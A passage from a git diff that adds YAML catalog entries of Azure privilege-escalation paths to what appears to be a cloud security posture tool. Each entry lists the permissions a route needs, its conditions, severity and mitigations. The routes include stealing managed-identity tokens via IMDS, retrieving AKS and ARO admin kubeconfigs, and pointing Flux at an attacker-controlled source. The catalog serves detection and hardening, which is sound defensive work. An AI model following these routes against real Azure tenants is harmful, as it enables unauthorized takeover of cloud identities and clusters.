identities +# (vmProfile.userAssignedIdentities) are exposed through IMDS; the template's top-level identity is +# the service identity used by Image Builder and is not attached to the build VM. + +- id: azure-imagebuilder-template-create-via-template-identity + provider: azure + service: image_builder + title: Create and run a new image template whose template identity attaches a build-VM identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#customizer-rce--build-identity-token-theft-marquee + source_revision: 906b2f81ef + summary: A source that can create and run image templates and assign a user-assigned identity T as the template identity can obtain the privileges of the build-VM identities that T is itself allowed to assign. + requires: + all_of: + - action: Microsoft.VirtualMachineImages/imageTemplates/write + - action: Microsoft.VirtualMachineImages/imageTemplates/run/action + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_imagebuilder_new_template_identity_path: true + scope: any + aggregate_as: "UAMIs assignable by an Image Builder template identity the source can assign" + outcome: workload_execution + conditions: + - id: build_vm_identity_only + description: Customizer code runs on the build VM; only identities listed in vmProfile.userAssignedIdentities are reachable through IMDS, and Image Builder checks that the template identity (not the caller) holds Managed Identity Operator / assign on each of them. + - id: template_identity_is_intermediate + description: The edge names the intermediate template identity T (via_intermediate_identity condition); the source must hold userAssignedIdentities/assign/action on T, which the selector checks. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant Managed Identity Operator to image template identities only on dedicated, least-privileged build identities, and restrict imageTemplates/write and run/action. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-json + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/image-builder-permissions-cli + notes: The selector requires imageTemplates write and run on the same new-template path in a collected resource group, or in a new resource group the source can create. It also requires source assign authority on the template UAMI and that UAMI's assign authority on the build-VM UAMI. Staging resource group, region, package dependencies and build success remain conditional. This entry covers new templates; the separate existing-template path remains unresolved. Running a customizer without a build-VM identity reaches no principal and is not an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml new file mode 100644 index 0000000000..723b35a1bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml @@ -0,0 +1,397 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Kubernetes Service / Arc Kubernetes control-plane -> cluster privilege techniques (declarative only). +# Source: hacktricks-cloud az-kubernetes-privesc.md (rev 171e422, re-verified). + +- id: azure-aks-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve the AKS clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + blockers: + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Disable local accounts on AKS (disableLocalAccounts) and restrict listClusterAdminCredential (Azure Kubernetes Service Cluster Admin Role, Contributor). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: The clusterAdmin certificate maps to system:masters whether or not Entra integration or Azure RBAC for Kubernetes is enabled; only disableLocalAccounts removes it. From cluster-admin, workload identities and node identities are reachable through the k8s catalog. + +- id: azure-aks-list-cluster-user-credential + provider: azure + service: kubernetes + title: Retrieve the AKS clusterUser kubeconfig on a local-account cluster + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: d7728ff510 + summary: On clusters without Entra integration the source can obtain Kubernetes cluster-admin. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/listClusterUserCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters and authorized IP ranges require network reachability to the API server. + - id: cluster_without_entra_integration + description: Only on non-Entra local-account clusters is the user kubeconfig privileged; with Entra integration (Kubernetes RBAC or Azure RBAC for Kubernetes authorization) it is an exec-plugin kubeconfig and the caller's own bindings or Azure RBAC data actions apply. + blockers: + - aks_entra_integration_enabled + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Enable Entra ID integration and disable local accounts. + references: + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/list-cluster-user-credentials + notes: The user kubeconfig is admin-equivalent only when Entra integration is absent and local accounts are enabled. Missing or conflicting cluster settings keep the path conditional. + +- id: azure-hybrid-k8s-list-cluster-admin-credential + provider: azure + service: kubernetes + title: Retrieve admin credentials of a hybrid Kubernetes cluster + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + source_revision: "5045962272" + summary: The source can retrieve an admin kubeconfig for an exact provisioned cluster or Arc provisioned-cluster instance. + requires: + any_of: + - - action: Microsoft.HybridContainerService/provisionedClusters/listClusterAdminCredential/action + scope: "*" + - - action: Microsoft.HybridContainerService/provisionedClusterInstances/listAdminKubeconfig/action + scope: "*" + target: + kind: k8s_cluster_admin + selector: + azure_hybrid_k8s_admin_credential_path: true + scope: cluster + aggregate_as: "Cluster admin of provisioned cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The admin kubeconfig is for direct mode and its private API server must be reachable. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listClusterAdminCredential on hybrid clusters. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/hybrid-multicloud + - https://learn.microsoft.com/en-us/rest/api/hybridcontainer/provisioned-clusters/list-admin-kubeconfig?view=rest-hybridcontainer-2026-04-01-preview + notes: The selector pairs the old provisionedClusters action with that resource type and the newer provisionedClusterInstances action with the exact instance under a connected cluster. User-credential actions remain identity-bound and are not modeled as a gain. + +- id: azure-aks-azure-rbac-k8s-rbac-write + provider: azure + service: kubernetes + title: Bind cluster-admin through a Kubernetes ClusterRoleBinding using Azure RBAC data actions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: d7728ff510 + summary: The source can bind itself to the cluster-admin ClusterRole through a new ClusterRoleBinding and obtain cluster-admin permissions. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterrolebindings/write + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/rbac.authorization.k8s.io/clusterroles/bind/action + data_action: true + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_aks_rbac_cluster_binding: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: cluster_admin_binding_admitted + description: The API server must accept a new ClusterRoleBinding from the source to the exact cluster-admin ClusterRole; a namespace RoleBinding is not cluster-admin. + - id: api_server_reachable + description: The source must reach the Kubernetes API server with its authenticated client. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant RBAC-object write/bind/escalate data actions outside cluster administrators. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: This models only a new cluster-scoped binding to cluster-admin when the source can authenticate to that cluster. Namespace RoleBindings and editing an already-bound ClusterRole require an exact resulting permission and binding-to-source join. + +- id: azure-aks-access-profile-list-credential + provider: azure + service: kubernetes + title: Retrieve the clusterAdmin kubeconfig through the legacy access-profile API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin (system:masters) on the AKS cluster without the listClusterAdminCredential action. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/accessProfiles/listCredential/action + scope: "{target.scope}/accessProfiles/clusterAdmin" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + - id: legacy_api_available + description: The access-profile API is deprecated; it must still be served for the cluster's API version. + blockers: + - aks_local_accounts_disabled + confidence: conditional + severity: critical + mitigation: Disable local accounts and restrict accessProfiles/listCredential/action together with listClusterAdminCredential. + references: + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/get-access-profile + notes: Only the clusterAdmin access profile is modelled. The fleet hub credential (fleets/listCredentials/action) is an Entra exec-plugin kubeconfig gated by Fleet RBAC, the managed-namespace credential is namespace-scoped, and the clusterMonitoringUser credential is bound to a read-mostly monitoring role, so none of them is a gain by itself. + +- id: azure-aks-run-command + provider: azure + service: kubernetes + title: In-cluster execution through AKS Run Command + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#run-command--in-cluster-execution-with-no-kubeconfig-and-no-network-line-of-sight + source_revision: d7728ff510 + summary: On local-account clusters the source can run commands with cluster-admin authority inside the cluster, including private clusters. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/runCommand/action + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/commandResults/read + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: run_command_enabled + description: apiServerAccessProfile.disableRunCommand must not be true. + - id: cluster_without_entra_integration + description: On Entra-integrated clusters the command pod is authorized with the caller's own Entra token, so only the caller's existing Kubernetes or Azure RBAC applies. + blockers: + - aks_entra_integration_enabled + - aks_run_command_disabled + confidence: conditional + severity: critical + mitigation: Set disableRunCommand where unused, enable Entra integration with local accounts disabled, and restrict runCommand/action. + references: + - https://learn.microsoft.com/en-us/azure/aks/access-private-cluster + - https://learn.microsoft.com/en-us/rest/api/aks/managed-clusters/run-command + notes: Run Command requires both ARM actions on the same cluster. The caller's Entra token limits commands on integrated clusters. A disabled Run Command setting blocks execution unless this caller can write the cluster to re-enable it. Direct API-server network reachability is unnecessary. + +- id: azure-aks-managedclusters-write-enable-local-accounts + provider: azure + service: kubernetes + title: Re-enable AKS local accounts and retrieve the clusterAdmin kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#re-arm-the-built-in-cluster-admin--graft-an-attacker-entra-admin-group-managedclusterswrite + source_revision: d7728ff510 + summary: The source can obtain Kubernetes cluster-admin on a cluster whose local accounts were disabled. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/write + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/listClusterAdminCredential/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private clusters / authorized IP ranges require network reachability to the API server. + - id: azure_policy_allows_local_accounts + description: An effective Azure Policy deny rule must permit re-enabling local accounts. + blockers: + - aks_local_accounts_enabled + confidence: conditional + severity: critical + mitigation: Restrict managedClusters/write (Azure Kubernetes Service Contributor, Contributor) and enforce disableLocalAccounts with Azure Policy (deny). + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-local-accounts-managed-azure-ad + notes: Applies when local accounts are disabled. The separate admin-credential entry covers clusters where local accounts are already enabled. + +- id: azure-aks-vmss-node-run-command + provider: azure + service: kubernetes + title: Run Command on an AKS worker scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#vm-scale-set-run-command-on-aks-workers + source_revision: d7728ff510 + summary: The source can run code as root on the node and obtain the scale set's managed identities (AKS kubelet/agent pool identities). + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Compute/virtualMachineScaleSets/virtualMachines + target: + kind: azure_managed_identity + selector: + azure_vmss_instance_identity: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: The instance must be running with a healthy VM agent. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Enable AKS node resource group lockdown (a deny assignment), restrict scale-set Run Command in node resource groups, and keep kubelet identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-ssh-node-access + - https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown + notes: Applies to an inventoried Uniform scale-set instance, including AKS node pools. The instance must belong to a scale set with the named attached identity. Kubernetes privileges from node credentials are handled by the k8s catalog node edges. + +- id: azure-aks-azure-rbac-impersonate + provider: azure + service: kubernetes + title: Impersonate Kubernetes system:masters through Azure RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + source_revision: d7728ff510 + summary: With an authenticated Kubernetes client, the source can impersonate a user in system:masters without creating a binding. + requires: + all_of: + - action: Microsoft.ContainerService/managedClusters/groups/impersonate/action + data_action: true + scope: "{target.scope}" + - action: Microsoft.ContainerService/managedClusters/users/impersonate/action + data_action: true + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_aks_rbac_group_impersonation: true + scope: cluster + aggregate_as: "Cluster admin of AKS cluster {target.scope}" + conditions: + - id: azure_rbac_for_k8s_enabled + description: Only when Azure RBAC for Kubernetes authorization is enabled on the cluster. + - id: api_server_reachable + description: The caller must reach the Kubernetes API server with its authenticated client. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant impersonate data actions outside cluster administrators; review custom roles carrying Microsoft.ContainerService/managedClusters/*. + references: + - https://learn.microsoft.com/en-us/azure/aks/manage-azure-rbac + notes: Both user and group impersonation are required. An authenticated cluster-user kubeconfig or an exact reviewed Kubernetes API authentication fact is required before naming the cluster-admin target. Fleet member equivalents need a fleet-to-member mapping, and namespace-scoped RBAC Writer secret read needs Azure-side service-account targets. + +- id: azure-aro-list-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO kubeadmin credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain OpenShift cluster-admin (kubeadmin) on the ARO cluster. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: Private ARO clusters require network reachability to the API server or console. + - id: kubeadmin_not_removed + description: The kubeadmin user must not have been removed after configuring another identity provider. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listCredentials/action on ARO clusters and remove kubeadmin once an identity provider is configured. + references: + - https://learn.microsoft.com/en-us/azure/openshift/connect-cluster + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/authentication_and_authorization/removing-kubeadmin + notes: The modeled path is conditional because Azure RBAC does not show whether the kubeadmin secret remains or the caller can reach the API server. The separate listAdminCredentials/action admin-kubeconfig path and hosted-control-plane preview (hcpOpenShiftClusters) are not modeled here. + +- id: azure-aro-list-admin-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO administrator kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain the administrator kubeconfig for the ARO cluster without the kubeadmin password. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The caller must reach the Kubernetes API server with the administrator kubeconfig. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listAdminCredentials/action on ARO clusters to administrators who need emergency cluster access. + references: + - https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift + notes: This route does not require the kubeadmin user. The result remains conditional on API server reachability. The hosted-control-plane preview (hcpOpenShiftClusters) is not modeled. + +- id: azure-aks-flux-configuration-write + provider: azure + service: kubernetes + title: Point a Flux GitOps configuration at an attacker-controlled source + source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#flux-gitops-self-healing-foothold-fluxconfigurationswrite--sourcecontrolconfigurationswrite + source_revision: 45f4b19f23 + summary: The in-cluster Flux controller pulls and applies manifests from the attacker source with its own Kubernetes permissions (cluster-wide by default). + requires: + all_of: [] + any_of: + - - action: Microsoft.KubernetesConfiguration/fluxConfigurations/write + scope: "{pivot}" + - - action: Microsoft.KubernetesConfiguration/sourceControlConfigurations/write + scope: "{pivot}" + pivot_resource_type: Microsoft.KubernetesConfiguration/fluxConfigurations + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + azure_flux_cluster_path: true + scope: cluster + aggregate_as: "Cluster admin of AKS / Arc Kubernetes cluster {target.scope}" + conditions: + - id: flux_scope_cluster + description: Cluster-admin is reached only when the Flux configuration scope is cluster (the default); a namespace-scoped configuration applies manifests with that namespace's permissions only. + - id: source_reachable + description: The cluster must be able to reach the attacker Git, Helm, bucket or Blob source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: critical + mitigation: Restrict Microsoft.KubernetesConfiguration/fluxConfigurations/write and sourceControlConfigurations/write, prefer namespace-scoped Flux configurations, and alert on new or changed GitOps sources. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2 + notes: The writable configuration must belong to the exact AKS or Arc-enabled cluster. Parent-scoped write can create a cluster-scoped configuration; a child-only grant needs an inventoried existing configuration. Legacy source-control availability remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml new file mode 100644 index 0000000000..9e6f215060 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/load_testing.yaml @@ -0,0 +1,82 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Load Testing techniques (declarative only). +# Source: hacktricks-cloud az-load-testing-privesc.md (rev 171e422). +# Test plans (JMeter JSR223/Groovy, Locust Python) are arbitrary code on the test engine; identities +# referenced with kind Engine are assigned to the engine instances and reachable through IMDS. + +- id: azure-loadtesting-test-engine-identity + provider: azure + service: load_testing + title: Run a test plan on a load test resource that carries managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: ae7d014141 + summary: The source can obtain the privileges of the managed identities attached to the load test resource. + requires: + all_of: + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "*" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.LoadTestService/loadtests + azure_loadtesting_existing_engine_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of load test resource {target.host_resource}" + conditions: + - id: engine_identity_reference + description: The identity must be referenced for the engine (referenceIdentities kind Engine), which the test writer sets in the test configuration. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat Load Test Contributor/Owner as code execution as the resource's identities, keep those identities least-privileged, and enable AzureLoadTestingOperation diagnostics. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + - https://learn.microsoft.com/en-us/azure/load-testing/how-to-assign-roles + notes: Data action names are writeTest/action and startTest/action. Both must cover the same exact Load Testing resource carrying the managed identity. The test writer can select that identity with referenceIdentities kind Engine, but successful test execution and token use remain conditional; an identity attached only for KeyVault or Metrics is not automatically on the engine. + +- id: azure-loadtesting-assign-user-assigned-identity + provider: azure + service: load_testing + title: Attach a user-assigned identity to a load test resource and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#test-engine-rce--managed-identity-token-theft-marquee + source_revision: ae7d014141 + summary: The source can obtain the privileges of user-assigned identities it may assign, by attaching them to a load test resource and referencing them for the engine. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "*" + - action: Microsoft.LoadTestService/loadTests/write + scope: "*" + - action: Microsoft.LoadTestService/loadtests/writeTest/action + data_action: true + scope: "*" + - action: Microsoft.LoadTestService/loadtests/startTest/action + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_loadtesting_assign_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: engine_identity_selected + description: The attacker-controlled test must select the attached UAMI with referenceIdentities kind Engine and run code on an engine instance. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and loadTests/write. + references: + - https://learn.microsoft.com/en-us/azure/app-testing/load-testing/how-to-use-a-managed-identity + notes: The selector checks assign/action on the exact UAMI and loadTests/write, writeTest/action and startTest/action on one collected or creatable load test resource. Merely attaching an identity to the resource does not place it on a test engine; the test configuration must select it as kind Engine. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml new file mode 100644 index 0000000000..ac99308374 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/logic_apps.yaml @@ -0,0 +1,69 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Logic Apps techniques (declarative only). +# Source: hacktricks-cloud az-logic-apps-privesc.md (rev 171e422, re-verified). +# Standard (single-tenant) Logic Apps are Microsoft.Web/sites and are covered by app_services.yaml. + +- id: azure-logicapp-workflow-write-existing-identity + provider: azure + service: logic_apps + title: Modify an existing Consumption workflow that runs with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the workflow's managed identities. + requires: + all_of: + - action: Microsoft.Logic/workflows/write + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_logicapp_existing_identity_path: true + scope: inherited_scope + aggregate_as: Identities of Logic App {target.host_resource} + conditions: + - id: run_path + description: 'The modified workflow must run: a recurrence/event trigger, triggers/run/action, or a callback URL.' + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict workflows/write and keep workflow identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: HackTricks marks workflows/write as directly changing workflow code (Critical). + +- id: azure-logicapp-assign-user-assigned-identity + provider: azure + service: logic_apps + title: Create or update a workflow with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#assign-a-user-assigned-identity-to-a-writable-workflow + source_revision: 85987e6273 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.Logic/workflows/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_logicapp_assign_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: run_path + description: 'The workflow must run: triggers/run/action, a callback URL, or a recurrence trigger.' + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and workflows/write. + references: + - https://learn.microsoft.com/en-us/azure/logic-apps/authenticate-with-managed-identity + notes: Covers both identity-assignment sections of the page. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml new file mode 100644 index 0000000000..54b3dca589 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/machine_learning.yaml @@ -0,0 +1,146 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Machine Learning / AI Foundry techniques (declarative only). +# Source: hacktricks-cloud az-ai-foundry-privesc.md and az-machine-learning-privesc.md (rev 171e422). +# {target.host_resource.workspace}: the ML workspace that owns the endpoint/compute. +# pivot_resource_type with '|' means any of the listed resource types. + +- id: azure-ml-online-deployment-existing-endpoint + provider: azure + service: machine_learning + title: Deploy code to an existing Azure ML online endpoint + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: 3f483c8032 + summary: The source can obtain the privileges of the online endpoint's managed identity. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_ml_existing_online_deployment_identity_path: true + scope: inherited_scope + aggregate_as: Identity of online endpoint {target.host_resource} + conditions: + - id: deployment_init + description: The deployment must provision and run attacker-controlled initialization code in the endpoint container. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict deployment write on online endpoints and keep endpoint identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-deploy-custom-container + notes: Endpoint identity is fixed at creation; workspace identity roles do not apply. This route uses container startup code, so a separate scoring invocation is not required. + +- id: azure-ml-online-endpoint-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML online endpoint with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointswrite-microsoftmachinelearningservicesworkspacesonlineendpointsdeploymentswrite-microsoftmachinelearningservicesworkspacesread + source_revision: dd0d2d324b + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_ml_online_endpoint_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: deployment_init + description: The endpoint and deployment must provision and run attacker-controlled initialization code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and online endpoint creation. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-deploy-custom-container + notes: The same new endpoint must accept the UAMI and the writable deployment child; container startup is the execution route. + +- id: azure-ml-compute-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML compute instance with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 2115b45a60 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/computes/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_ml_compute_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: compute_provisioning + description: The compute instance must provision and run the inline creation script with the attached identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict computes/write and userAssignedIdentities/assign/action; disable public SSH on compute instances. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-compute-instance + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-customize-compute-instance + notes: An inline creation script can execute during provisioning, so a later SSH or Jupyter access path is not required for this route. + +- id: azure-ml-compute-application-access + provider: azure + service: machine_learning + title: Open an accessible Jupyter app on an ML compute instance + source: 